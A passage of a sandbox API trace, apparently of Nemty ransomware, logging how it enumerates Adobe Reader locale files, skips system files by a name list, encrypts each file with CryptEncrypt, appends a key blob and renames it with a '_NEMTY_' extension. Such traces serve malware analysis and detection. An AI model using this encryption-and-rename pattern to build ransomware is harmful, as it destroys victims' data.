pszString="JYSqEX0f3Da5Zvq/4z2mAAZLNiu+JrZckbdi/L2EzZsDd9Nu5y1EJuCiO6yZs+kx\r\nyfdS1iVv+mNLE7Z9YAcF4yv6YWU2pianew9niMfiAgE5FQ35xSb562KDzx3comqC\r\nplysYYde9F1szR1NfuD+6aVZpEyS43qhthliN0QbvJs+9yUA0REJO6dmoXR2dqcR\r\nFX+oVJrnWMqsYNemK+e0+NLyIMxtXUDW64a/KryE6WyOXRGflVXUv4qxLpGL1vzS\r\nr7ZZ4G3kEx72IJ9NJvC5EP4zm3WDkr1hNICOWDHze4jMHoDrRW5jCgR2n47GgiFs\r\n5OcdIppRMkzjyzeqoaelrA==\r\n", pcchString=0x653e5dc) returned 1 [0174.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.963] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45056) returned 1 [0174.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb000) returned 0x6352c48 [0174.963] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.964] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb000, lpOverlapped=0x0) returned 1 [0174.968] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.968] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb000, lpOverlapped=0x0) returned 1 [0174.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.969] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000 [0174.969] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.969] CloseHandle (hObject=0x2e8) returned 1 [0174.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0174.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0174.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0174.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0174.969] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu._nemty_kgobjgd_")) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.970] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.DEU", cAlternateFileName="")) returned 1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2=".") returned 1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="..") returned 1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="...") returned 1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="windows") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="$RECYCLE.BIN") returned 1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="rsa") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="NTDETECT.COM") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="ntldr") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="MSDOS.SYS") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="IO.SYS") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="boot.ini") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="boot.ini") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="AUTOEXEC.BAT") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="ntuser.dat") returned -1 [0174.970] lstrcmpiW (lpString1="Acroform.DEU", lpString2="desktop.ini") returned -1 [0174.971] lstrcmpiW (lpString1="Acroform.DEU", lpString2="CONFIG.SYS") returned -1 [0174.971] lstrcmpiW (lpString1="Acroform.DEU", lpString2="RECYCLER") returned -1 [0174.971] lstrcmpiW (lpString1="Acroform.DEU", lpString2="BOOTSECT.BAK") returned -1 [0174.971] lstrcmpiW (lpString1="Acroform.DEU", lpString2="bootmgr") returned -1 [0174.971] lstrcmpiW (lpString1="Acroform.DEU", lpString2="programdata") returned -1 [0174.971] lstrcmpiW (lpString1="Acroform.DEU", lpString2="appdata") returned -1 [0174.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DEU", lpUsedDefaultChar=0x0) returned 12 [0174.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DEU", lpUsedDefaultChar=0x0) returned 12 [0174.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DEU", lpUsedDefaultChar=0x0) returned 12 [0174.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DEU", lpUsedDefaultChar=0x0) returned 12 [0174.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.971] Sleep (dwMilliseconds=0x5) [0174.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bf1e410, dwHighDateTime=0x1d561e8)) [0174.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bf1e410, dwHighDateTime=0x1d561e8)) [0174.983] GetLastError () returned 0x0 [0174.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.983] GetLastError () returned 0x0 [0174.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.983] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.983] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.983] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="xfm/GE5oS+Kli5anLIgdfOx0ZRq2YcGYbll/zoUcHcPnjWHzr5kcIFMLstzq0oUS\r\ncZIBcgznKKqkgdD3u9oEq03qn4U1UTtnHR8nZKro7vukiUKWz/GSZEmQetcjByDa\r\nD9mLqrv8+nDm84OcP4HMmM8YiU5vOumAxD6/ourKQ5+nCqPKH5lLQPNFWyencl/n\r\nkdpDCizBRs5oXOdR4/xQxDoya6YhvnbIXk/NVr03PgQwOHprZwKMuToU2c9YIj8O\r\nSzgayNTHBL0ftOE1hyVc43dl9k0thnhI1ZiGe59kBUR40i+4Wu33b6SHDTmiz0UQ\r\nYvPXeeN+FoTHSwU6SCnjRA==\r\n", pcchString=0x653e5dc) returned 1 [0174.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.985] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=444416) returned 1 [0174.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.985] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.985] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.994] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.994] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.995] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=444416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c800 [0174.995] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.996] CloseHandle (hObject=0x2e8) returned 1 [0174.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.996] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu._nemty_kgobjgd_")) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.997] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.DEU", cAlternateFileName="ADOBEC~1.DEU")) returned 1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2=".") returned 1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="..") returned 1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="...") returned 1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="windows") returned -1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="$RECYCLE.BIN") returned 1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="rsa") returned -1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="NTDETECT.COM") returned -1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="ntldr") returned -1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="MSDOS.SYS") returned -1 [0174.997] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="IO.SYS") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="boot.ini") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="boot.ini") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="AUTOEXEC.BAT") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="ntuser.dat") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="desktop.ini") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="CONFIG.SYS") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="RECYCLER") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="BOOTSECT.BAK") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="bootmgr") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="programdata") returned -1 [0174.998] lstrcmpiW (lpString1="AdobeCollabSync.DEU", lpString2="appdata") returned -1 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DEU", lpUsedDefaultChar=0x0) returned 19 [0174.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DEU", lpUsedDefaultChar=0x0) returned 19 [0174.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0174.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DEU", lpUsedDefaultChar=0x0) returned 19 [0174.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0174.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DEU", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DEU", lpUsedDefaultChar=0x0) returned 19 [0174.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0174.999] 